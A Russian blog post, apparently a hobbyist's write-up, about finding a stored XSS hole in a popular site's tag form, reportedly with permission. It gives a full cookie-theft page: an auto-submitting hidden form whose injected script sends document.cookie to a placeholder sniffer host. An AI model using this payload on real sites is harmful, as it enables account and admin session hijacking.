Взлом аккаунтов через форму и событие. «XSS», чтобы не было путаницы с каскадными таблицами стилей

в 8:12, , рубрики: xss, взлом, информационная безопасность, метки: ,

Вторую часть заголовка я взял из статьи вики. Забавно звучит.

Легкое чтиво, веселого проникновения. Я хотел уже запостить котиков на страничке, нажал кнопку предпросмотр, увидел погрузку контента и мой браузер на пол секунды повис, развернув чуть ниже кнопки «добавить», «мой будущий пост». Я нажал добавить, и мне сообщили, что я должен написать минимум два тега к посту. Я набрал «милые котики» — чуть ниже снова появился блок, в котором можно было подобрать популярные теги. Я решил, что это очень хорошо и такой скрипт мне нужен для коллекции. Не долго думая, я выдрал из страницы javascript, открыл и увидел комментарии к коду на родном русском.

Было очень скучно, и я решил провести маленький взлом с разрешения администрации, для того чтобы проверить свои силы, знание языков и спецификаций. Всё исследование заняло у меня 2 дня, по 3-4 часа в день.

Я решил проверить формы и попробовать что-то сломать, увидеть ошибку или что-то еще. Они были достаточно хорошо защищены: ни намека на sql или что-то такое ужасное. Ошибок не было совсем, о чем я и написал администратору.

После, проверяя наш js файл, я увидел, что несколько переменных совсем не фильтруются на стороне клиента, и можно на странице выполнить любой код, который я вставлю в форму. Первым же делом я вставил классический.

<script>alert(1)</script>

С небес опустилось окошко. Оно гласило, что все в этом мире равно 1.

Естественно, в форму сразу полетели теги, всякие скрипты. Сразу скажу, что это ни к чему не привело. Значит мы имеем простую xss. Не будем расстраиваться — нам этого хватит с головой.

Я вставил в форму

<script>window.eval = function(code){console.log(code)}</script>

Почитав ошибки в браузере, я вставил в форму <iframe увидел окно чужого сайта, проверив поле referral, увидел наш домен, значит, если в проверке запросов на сервер они проверяют referral на свой и не свой, мы уже можем притвориться нашим сайтом и отправить любой запрос, и нам ответят.

На странице, которую я взламывал могут находиться только авторизированные пользователи, а мы можем представляться в запросе самим сайтом, просто введя в форму любой код.

Дальше я приведу уже вредоносный код, который будет посылать нам куки пользователя, он мной кастомизирован, чтобы меня сильно не ругали. Основной кусок кода, который скрывает мои действия на странице я приводить не буду, покажу сам взлом.

1) Создаем страницу в той же кодировке, что и атакуемая.

<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
	</head>
<body>
<!-- наш код -->
</body>
</html>  

Я думаю с этим может справиться практически любой.

2) В мы должны создать форму, которая будет посылать наш запрос из браузера жертвы

	<iframe src="#страница для взлома" method="post"></iframe> 
	<form action="#страница для взлома" method="POST"> 
		<input type="hidden" name="#имя формы через которую проводиться xss." value="Вредоносный код"/> 
	</form> 

3) Ну и после загрузки страницы посылаем все данные в форму.

<script> window.onload = function() {document.forms[0].submit()} </script>

А вот и наш хакерский код, он обсуждался не раз

4) И запустим его

<script>document.write(url);</script>

Осталось передать правильно код на другой домен. Я воспользовался функцией urlencode();. На странице описания функции так и написано: «Эта функция удобна, когда закодированная строка будет использоваться в запросе, как часть URL, также это удобный способ для передачи переменных другим страницам.»

Ну вот и все, заливаем это все на сервер.

Полностью код получился такой

<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
	</head>

	<body>
		<?php
		$txt1 = "var url='<img src=#cнифер?cookie='+document.cookie+'>';";
		$txt2 = "<script>document.write(url);</script>";
		$txt11 = urlencode($txt1);
		$txt22 = urlencode($txt2);
		?>

		<iframe src="#страница для взлома" method="post"></iframe> 
		<form action="#страница для взлома" method="POST"> 
		<input type="hidden" name="story_tags" value=" <script><?php echo $txt11 ;?></script> , <script><?php echo $txt22 ;?></script>"/> 
		</form> 

		<script> window.onload = function() {document.forms[0].submit()} </script>

	</body>
</html>  

На самом деле, это маленькая уязвимость, с помощью которой можно украсть большое количество аккаунтов или куки админа. Скажу сразу, сайт очень большой и популярный. Мне сказали спасибо и закрыли уязвимость простым . Ну, при определенных обстоятельствах и знаниях, нам даже это не помешает сломать эту форму.

Если вам понравиться, я буду писать еще. Спасибо за внимание.

p.s. Не ругать за криворукость.

Автор: top13

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js